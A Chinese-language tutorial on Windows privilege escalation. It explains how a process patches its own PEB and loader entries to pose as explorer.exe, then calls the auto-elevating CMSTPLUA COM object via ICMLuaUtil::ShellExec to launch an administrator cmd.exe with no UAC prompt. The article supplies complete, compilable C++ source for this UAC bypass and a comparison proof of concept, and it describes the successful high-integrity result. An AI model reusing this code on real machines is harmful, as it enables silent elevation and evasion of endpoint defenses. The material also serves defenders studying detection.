1. 攻击思路概述
在Windows攻击链中,许多看似基础的提权手段依然频繁奏效。在缺乏可用漏洞或需避免高风险内核操作时,攻击者会试图让提权看起来像系统应有的行为,以避免打断用户或触发告警。因此,“进程伪装”常被用于提权之前。攻击者通过塑造“合理的进程身份”而非单纯隐藏,来让EDR 、AV等防护产品和分析人员误以为其后续操作是合规的。
提权不只是技术问题,而是关于身份与信任的问题:
Who:请求者的身份是否合法?
Why & When:请求的时机与理由是否成立?
Logic:在现有流程中,该行为是否突兀?
攻击者在不利用内核漏洞的前提下,通过篡改进程用户态 PEB(Process Environment Block)信息伪装成可信系统进程(如 explorer.exe),欺骗Windows的AppInfo服务(AIS),使其认为请求来自白名单进程,从而绕过UAC弹窗静默提权。
核心链条:PEB伪装(ImagePath + CommandLine +LDR链表)→ 调用CMSTPLUA COM组件(Elevation Moniker)→ AppInfo被PEB欺骗 → 静默创建高权限dllhost → ShellExec启动管理员程序
2. Windows 进程的四层身份
| 层级 |
内容 |
说明 |
| 映像文件 |
磁盘 exe 路径、签名、版本信息 |
静态分析可查 |
| 用户态运行时 |
PEB、LDR链表、命令行、环境变量 |
攻击者的篡改目标 |
| 行为信息 |
API 调用、文件/注册表/网络操作 |
EDR 行为检测 |
| 内核信息 |
EPROCESS、句柄表、PPL 真实身份 |
普通程序不可改 |
| 攻击者倾向于寻找成本最低、收益最高的进程伪装方式,以躲过安全防护软件的检测和分析师的注意,然后悄无声息地实现提权。伪造进程的内核信息,成本和风险都很高;而篡改磁盘上的映像信息又容易被静态扫描识破。 |
|
|
因此,攻击者的目光很自然地落在了进程的用户态运行时信息上。这是一个介于内核与用户观测之间的“灰色地带”,其中比较方便操作的就是进程环境块PEB,它既不属于内核,却又深刻影响着用户态工具和分析人员的判断。
3. PEB 进程伪装(Process Masquerading)
3.1PEB结构
PEB是Process Environment Block(进程环境块)的缩写。它是Windows操作系统内核中一个非常关键的数据结构。
每个进程都有自己独立的PEB结构。它位于用户态内存,用于存放特定进程状态信息的关键数据结构,包含映像基地址、加载的模块列表(PEB_LDR_DATA)、命令行参数和环境变量等,普通进程可以直接读取甚至修改它。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID Reserved4[3]; PVOID AtlThunkSListPtr; PVOID Reserved5; ULONG Reserved6; PVOID Reserved7; ULONG Reserved8; ULONG AtlThunkSListPtr32; PVOID Reserved9[45]; BYTE Reserved10[96]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved11[128]; PVOID Reserved12[1]; ULONG SessionId; } PEB, *PPEB;
struct _RTL_USER_PROCESS_PARAMETERS { ……………………………………………… ULONG DebugFlags; VOID* ConsoleHandle; ULONG ConsoleFlags; ……………………………………………… struct _CURDIR CurrentDirectory; struct _UNICODE_STRING DllPath; struct _UNICODE_STRING ImagePathName; struct _UNICODE_STRING CommandLine; VOID* Environment;
……………………………………………… }
|
x86 (32位):TEB 位于 FS 段寄存器指向的地址,PEB 地址存储在 FS:[0x30]。
x64 (64位):TEB 位于 GS 段寄存器指向的地址,PEB 地址存储在 GS:[0x60]。
要实现的UAC绕过需要欺骗AppInfo服务(承载了大部分UAC的验证逻辑),仅仅修改ProcessParameters是骗不过AppInfo服务的。AppInfo还会遍历PEB->Ldr(加载器数据),检查当前进程加载的第一个模块(即EXE自身)的路径。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; } PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY;
typedef struct _MY_LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ……………………………………………… } MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
|
3.2 修改位置
PEB→ProcessParameters→ImagePathName / CommandLine
PEB→Ldr→InLoadOrderModuleList(首个LDR_DATA_TABLE_ENTRY的FullDllName / BaseDllName)
3.3 效果
- 欺骗读取
PEB的工具(Task Manager、部分日志审计、旧AV)
- 无法骗内核态查询(
EPROCESS)
3.4 关键点
AppInfo服务通过ReadProcessMemory()读请求者PEB,不回溯内核对象,因此被篡改的PEB可骗过UAC白名单校验。
4. UAC 绕过(PEB伪装 + CMSTPLUA COM)
4.1 UAC机制
用户账户控制(UAC) 是Windows操作系统的一项核心安全功能。你可以把它理解为系统的一道重要安检门:当任何程序或操作试图对系统核心设置进行修改时,UAC会立即“拦截”并弹窗向你确认,从而有效防止恶意软件在未经你许可的情况下对电脑进行破坏。
它的核心价值在于,即便是拥有管理员权限的用户,日常操作时也处于“标准用户”模式。只有当需要执行关键操作时,才会临时“申请”更高的权限,这从根本上阻止了恶意软件的自动安装和意外更改。
4.2 绕过操作
在UAC机制下,即便是管理员账户登录,默认启动的进程也只是中等完整性(Medium Integrity),只有通过提权操作,才能获得高完整性(High Integrity),从而真正拥有写系统目录、改注册表核心键值的权限。
- 伪装进程身份:修改当前进程
PEB + LDR链表为C:\Windows\explorer.exe;
- 初始化
COM:CoInitialize(NULL);
CoInitialize是Windows API函数,用于在当前线程上初始化组件对象模型(COM)库,并将线程设置为单线程单元(STA)模式。使用任何COM功能前必须调用它(内存分配函数除外),且必须与CoUninitialize成对使用以释放资源。
组件对象模型 (COM) 是微软开发的一种二进制接口标准,旨在实现跨编程语言(如C++、C#、Python)和跨进程的软件组件复用。它允许以DLL或EXE形式存在的可重用二进制组件在运行时动态交互,是ActiveX、OLE和 DirectX的技术基础。
- 请求提权
COM对象:
使用Elevation Moniker:
Elevation Moniker(提升名字对象) 是Windows提供的一种COM(组件对象模型)技术。它允许一个以普通权限运行的程序,能够以一种受控且安全的方式,临时启动一个需要管理员权限的COM组件来完成特定任务。1 2
| LPCWSTRelevat ionMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"; CoGetObject(elevationMoniker, ...);
|
Elevation Moniker: Elevation:Administrator!new: 是一种特殊的COM语法。它告诉COM运行时环境(COM Runtime):实例化后面这个CLSID对应的对象,并且要以管理员权限(High Integrity Level)来创建它。如果一个普通的、未提权的程序调用这行代码,UAC(User Account Control)会拦截请求,弹出一个确认窗口,询问用户是否允许。
CLSID (Class Identifier,类标识符) 是一个128位 (16字节) 的数字,属于GUID(全局唯一标识符)的一种,通常以带有大括号和连字符的十六进制字符串形式呈现。它用于在Windows系统中唯一地标识一个具体的 COM类 (COM Class)。无论是一段处理图像的代码、一个Excel应用程序实例,还是一个执行系统权限提升的组件,只要它是一个COM对象,它就必定有一个对应的CLSID。
当你通过这个组件的CLSID告诉COM系统:“请给我创建 {CLSID} 这个组件的一个实例。” COM系统会拿着这个CLSID去注册表里查找,找到对应的组件文件(DLL或EXE),然后加载并创建它。
Windows注册表中有一个专门管理这些“条形码”的庞大数据库,路径通常位于:
HKEY_CLASSES_ROOT\CLSID\
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\

1 2 3 4 5 6
| HRESULT CoGetObject( [in] LPCWSTR pszName, [in, optional] BIND_OPTS *pBindOptions, [in] REFIID riid, [out] void **ppv );
|
CoGetObject是Windows COM库中的一个核心API函数。它的主要作用是将一段可读的字符串(显示名)转换并绑定到一个COM对象,最终让你获得该对象的接口指针,从而调用它的功能。
1 2 3 4 5 6 7 8 9 10
| 具体工作流程如下: 发起请求:你的代码调用 CoCreateInstance(CLSID_Target, ...) 或 CoGetObject("new:{CLSID_Target}", ...);
查询注册表:COM 子系统拿着这个 CLSID 去注册表里搜索 HKCR\CLSID{你的CLSID}。
定位物理文件:在找到的注册表项下,会有一些关键的子项告诉系统这个组件的代码保存在硬盘的哪里: InprocServer32:表示这是一个 DLL 文件(会在当前进程内加载)。里面会写着类似C:\Windows\System32\cmlua.dll的路径。 LocalServer32:表示这是一个 EXE 文件(会在独立的进程中运行)。里面会写着类似C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE的路径。
加载并实例化:Windows 找到对应的 DLL 或 EXE,将其加载到内存,并要求它生成一个对象实例返回给你的代码
|
CMSTPLUA (白名单组件);
Windows系统中有一份COM组件的白名单。在这个白名单上的组件,如果被请求以管理员权限启动,且请求者(Caller)是可信的Windows系统核心进程,系统可以配置为“静默提升” (Auto-Elevation),即不弹出UAC提示框直接给权限。
GUID {3E5FC7F9-9A51-4367-9063-A120244FBEC7}对应的是CMSTPLUA组件(属于“应用程序兼容性”或“颜色管理”相关组件)。这个组件被微软配置为允许自动提升,且它实现了一个非常有用的接口ICMLuaUtil,里面包含了可以执行程序的ShellExec方法。
调用未文档化接口ICMLuaUtil::ShellExec():在高权限dllhost.exe上下文启动cmd.exe;
结果:获得High Integrity / Administrator的CMD,无UAC弹窗。
ICMLuaUtil是Windows系统中一个非公开(未文档化)的COM接口,主要用于CMLua组件(Connection Manager Lua实用程序)。CMLua组件(全称Connection Manager Lua)是Windows操作系统中“连接管理器”(Connection Manager)的一个实用程序模块,主要用于处理网络连接配置和远程访问服务, cmlua.dll文件的形式存在于C:\Windows\System32目录下。
4.3 欺骗 AppInfo Service
当调用CoGetObject请求自动提升时,Windows的AIS (Application Information Service)会介入进行安全检查。它会检查“是谁在请求这个权限?”
AIS的检查逻辑大致如下:
检查配置: 目标COM组件是否允许自动提升?
检查请求者: 发起请求的进程是否是Windows的可信二进制文件(如explorer.exe、taskmgr.exe等)?并且是否位于安全目录(如System32)?
在某些版本的Windows中(或者针对特定的COM接口),AIS在判断“请求者是谁”时,过分依赖了进程内存中的PEB(进程环境块) 信息,而不是严格校验磁盘上的文件签名或内核层的进程对象。
攻击发生时:
测试程序其实是恶意程序。
但测试程序在内存中修改了PEB,把FullDllName改成了C:\Windows\explorer.exe。
AIS读取内存,看到路径是explorer.exe,认为这是可信的系统进程。
结果:AIS认为条件满足(可信进程请求白名单组件),于是放行,不弹窗,直接创建一个高权限的COM对象实例。
5. 完整源码
5.1 进行伪装的提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188
| #include <windows.h> #include <iostream> #include <winternl.h>
#pragma comment(lib, "ntdll.lib") #pragma comment(lib, "ole32.lib")
typedef struct _MY_PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId; } MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; } MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
typedef struct _MY_PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN IsPackagedProcess : 1; BOOLEAN IsAppContainer : 1; BOOLEAN IsProtectedProcessLight : 1; BOOLEAN IsLongPathAwareProcess : 1; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PMY_PEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; } MY_PEB, *PMY_PEB;
class __declspec(uuid("6EDD6D74-C007-4E75-B76A-E5740995E24C")) ICMLuaUtil : public IUnknown { public: virtual HRESULT STDMETHODCALLTYPE Method1() = 0; virtual HRESULT STDMETHODCALLTYPE Method2() = 0; virtual HRESULT STDMETHODCALLTYPE Method3() = 0; virtual HRESULT STDMETHODCALLTYPE Method4() = 0; virtual HRESULT STDMETHODCALLTYPE Method5() = 0; virtual HRESULT STDMETHODCALLTYPE Method6() = 0; virtual HRESULT STDMETHODCALLTYPE ShellExec(LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, ULONG fMask, ULONG nShow) = 0; };
bool MasqueradePEB(LPCWSTR targetPath) { wprintf(L"[*] Masquerading PEB as: %s\n", targetPath);
#ifdef _WIN64 PMY_PEB pPEB = (PMY_PEB)__readgsqword(0x60); #else PMY_PEB pPEB = (PMY_PEB)__readfsdword(0x30); #endif
if (!pPEB || !pPEB->ProcessParameters) { wprintf(L"[-] Failed to get PEB or ProcessParameters\n"); return false; }
size_t pathLen = (wcslen(targetPath) + 1) * sizeof(WCHAR); PWSTR newPath = (PWSTR)LocalAlloc(LPTR, pathLen); if (!newPath) return false; wcscpy_s(newPath, pathLen / sizeof(WCHAR), targetPath);
UNICODE_STRING usPath; RtlInitUnicodeString(&usPath, newPath);
PBYTE pParams = (PBYTE)pPEB->ProcessParameters;
#ifdef _WIN64 PUNICODE_STRING pImagePathName = (PUNICODE_STRING)(pParams + 0x060); PUNICODE_STRING pCommandLine = (PUNICODE_STRING)(pParams + 0x070); #else PUNICODE_STRING pImagePathName = (PUNICODE_STRING)(pParams + 0x038); PUNICODE_STRING pCommandLine = (PUNICODE_STRING)(pParams + 0x040); #endif
*pImagePathName = usPath; *pCommandLine = usPath;
if (pPEB->Ldr) { PLIST_ENTRY pHead = &pPEB->Ldr->InLoadOrderModuleList; if (pHead && pHead->Flink && pHead->Flink != pHead) { PLIST_ENTRY pCurrent = pHead->Flink; PMY_LDR_DATA_TABLE_ENTRY pLdrEntry = CONTAINING_RECORD(pCurrent, MY_LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (pLdrEntry) { pLdrEntry->FullDllName = usPath;
PCWSTR fileName = wcsrchr(targetPath, L'\\'); if (fileName) { fileName++; UNICODE_STRING usBaseName; RtlInitUnicodeString(&usBaseName, fileName); pLdrEntry->BaseDllName = usBaseName; } } } }
wprintf(L"[+] PEB and LDR successfully patched.\n"); return true; }
bool UACBypass(LPCWSTR payloadExe) { HRESULT hr = E_FAIL; ICMLuaUtil* pICMLuaUtil = nullptr;
LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
BIND_OPTS3 bop; memset(&bop, 0, sizeof(bop)); bop.cbStruct = sizeof(bop); bop.dwClassContext = CLSCTX_LOCAL_SERVER;
wprintf(L"[*] Calling CoGetObject...\n"); hr = CoGetObject(elevationMoniker, (BIND_OPTS*)&bop, __uuidof(ICMLuaUtil), (void**)&pICMLuaUtil);
if (FAILED(hr)) { wprintf(L"[-] CoGetObject Failed: 0x%08X\n", hr); return false; }
wprintf(L"[+] Elevation success. Launching: %s\n", payloadExe); hr = pICMLuaUtil->ShellExec(payloadExe, NULL, NULL, 0, SW_SHOW);
if (pICMLuaUtil) pICMLuaUtil->Release(); return SUCCEEDED(hr); }
int main() { HRESULT hr = CoInitialize(NULL); if (FAILED(hr)) { wprintf(L"[-] CoInitialize failed: 0x%08X\n", hr); return 1; }
if (MasqueradePEB(L"C:\\Windows\\explorer.exe")) { if (!UACBypass(L"C:\\Windows\\System32\\cmd.exe")) { wprintf(L"[-] Bypass failed.\n"); } else { wprintf(L"[+] Bypass successful!\n"); } } else { wprintf(L"[-] PEB masquerade failed.\n"); }
CoUninitialize(); system("pause"); return 0; }
|
改变了PEB的CommandLine和ImagePathName,

也改变了LDR (Loader)模块链表,

cmd进程被创建,窗口左上角显示 “管理员:C:\Windows\System32\cmd.exe”。没有弹出需要确认管理员权限的窗口。

列表最后一行显示High Mandatory Level (S-1-16-12288),现在处于High级别,测试程序已经成功通过ICMLuaUtil接口,从Medium提升到了High。

在这个高权限cmd窗口中,就可以执行一些敏感操作。
5.2 未进行伪装的提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| #include <windows.h> #include <iostream>
#pragma comment(lib, "ole32.lib")
class __declspec(uuid("6EDD6D74-C007-4E75-B76A-E5740995E24C")) ICMLuaUtil : public IUnknown { public: virtual HRESULT STDMETHODCALLTYPE Method1() = 0; virtual HRESULT STDMETHODCALLTYPE Method2() = 0; virtual HRESULT STDMETHODCALLTYPE Method3() = 0; virtual HRESULT STDMETHODCALLTYPE Method4() = 0; virtual HRESULT STDMETHODCALLTYPE Method5() = 0; virtual HRESULT STDMETHODCALLTYPE Method6() = 0; virtual HRESULT STDMETHODCALLTYPE ShellExec(LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, ULONG fMask, ULONG nShow) = 0; };
int main() { HRESULT hr = CoInitialize(NULL); if (FAILED(hr)) { wprintf(L"[-] CoInitialize failed: 0x%08x\n", hr); system("pause"); return 1; }
wprintf(L"--- POC: Pure COM Elevation (No PEB Masquerading) ---\n"); wprintf(L"[*] Current Process: ProcessFaker.exe (Real Identity)\n");
ICMLuaUtil* pICMLuaUtil = nullptr;
LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
BIND_OPTS3 bop; memset(&bop, 0, sizeof(bop)); bop.cbStruct = sizeof(bop); bop.dwClassContext = CLSCTX_LOCAL_SERVER;
wprintf(L"[*] Requesting Admin privilege via COM...\n");
hr = CoGetObject(elevationMoniker, (BIND_OPTS*)&bop, __uuidof(ICMLuaUtil), (void**)&pICMLuaUtil);
if (SUCCEEDED(hr) && pICMLuaUtil) { wprintf(L"[+] Successfully obtained interface!\n"); pICMLuaUtil->ShellExec(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW); pICMLuaUtil->Release(); } else { wprintf(L"[-] CoGetObject Failed: 0x%08x\n", hr); if (hr == 0x80070005) { wprintf(L" Access denied - User might have denied the UAC prompt\n"); } }
CoUninitialize(); system("pause"); return 0; }
|
此时会弹出UAC警告窗口

这样就会大大提高检测工具或者安全分析师的警觉。
学习文章:无声的提权:Windows攻击链中的进程伪装与UAC绕过